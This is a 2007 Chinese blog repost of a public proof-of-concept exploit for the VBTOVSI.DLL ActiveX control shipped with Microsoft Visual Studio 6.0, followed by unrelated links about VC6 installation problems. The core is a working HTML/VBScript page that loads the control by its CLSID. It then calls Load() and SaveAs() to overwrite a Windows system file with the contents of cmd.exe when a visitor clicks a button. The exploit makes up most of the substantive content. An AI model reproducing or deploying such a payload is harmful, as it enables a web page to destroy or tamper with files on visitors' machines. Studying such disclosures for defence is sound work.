Microsoft Visual Studio 6.0 (VBTOVSI.DLL 1.0.0.0) File Overwrite Exploit

原创 2007年09月13日 20:16:00
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">---------------------------------------------------------------------------------------------------------
<b>Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite</b>
url: http://www.microsoft.com

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

<b>Description:
Using the "Load()" method we can load the content of a file from local machine passed as argument to
this function and then save it into arbitrary location with the "SaveAs()" method.
This allow to overwrite well known files with arbitrary data. I try to pass to the "Load()" method
remote directories (http) but, unfortunately, it accepts only local directories.</b>
---------------------------------------------------------------------------------------------------------

<object classid='clsid:7EEA39E3-41D1-11D2-AB3B-00AA00BDD685' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
  test.Load "c:/windows/system32/cmd.exe" 'or just some existing file
  test.SaveAs "c:/windows/system_.ini"
  MsgBox "Exploit completed!"
End Sub
</script>
</span></span>

</code></pre>

 

《Microsoft Visual Studio 6.0 Enterprise Edition》

说明:在这里可以下载到如下关于VS6.0所需要的一些内容,如下: ----------------------------------------------------------------...
  • hpwzd
  • hpwzd
  • 2012年04月09日 14:10
  • 2933

英文版Microsoft Visual Studio 6.0中, 莫名其妙间,点击“Find in Files”引起的开发环的崩溃问题解析:

我一共遇到两次:第一次(2010年某月):查了好多资料在“http://www.vckbase.com/bbs/”中问了,回答多数是:1)中病毒2)别人删减了,安装不全3)卸载,重装解决办法:重装操作...

Microsoft Visual studio 2015 C 程序项目建立和缺失ucrtbased.dll的解决办法

Microsoft Visual studio 2015 C 程序项目建立和缺失ucrtbased.dll的解决办法

Microsoft Visual Studio 6.0

  • 2017年10月27日 11:43
  • 54.63MB
  • 下载

解决VC中编译出现”SHSQ.dll This required file cannot be loaded. Please re-install Microsoft Visual C++“方法之一

最近学MFC,经别人介绍了解到了visual assistx这个好东东,于是果断安装,然后兴冲冲的点进了VC6.0。。。。好吧,va没反应,在网上查了一下,说是因为我用的是中文版的,如果是英文版就可以...

Microsoft Visual Studio C++ 6.0 中文版

  • 2011年11月06日 12:51
  • 32.13MB
  • 下载

Exporting a function in a DLL using Microsoft Visual C++ 6.0

Background There is a function written in C (not necessarily in C++). The function is a part of t...

Microsoft Visual Studio 2015项目创建失败 解决办法

误装了一个流氓软件,用360清理之后,每次新建Visual C++项目时,就会在软件左下角出现“正在创建项目***项目创建失败”,基本上来说Visual C++包括ATL、CLR、常规、MFC、测试、...

C语言学习之1(Microsoft Visual Studio即VC6软件的安装及hello world 简单例子编写)

最近要用到C语言方面的知识了,所以又拿起大学的书籍(数据结构(C语言版)http://c.biancheng.net/cpp/u/shuju/),加上网上的教程http://c.biancheng.n...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Microsoft Visual Studio 6.0 (VBTOVSI.DLL 1.0.0.0) File Overwrite Exploit
举报原因:
原因补充:

(最多只允许输入30个字)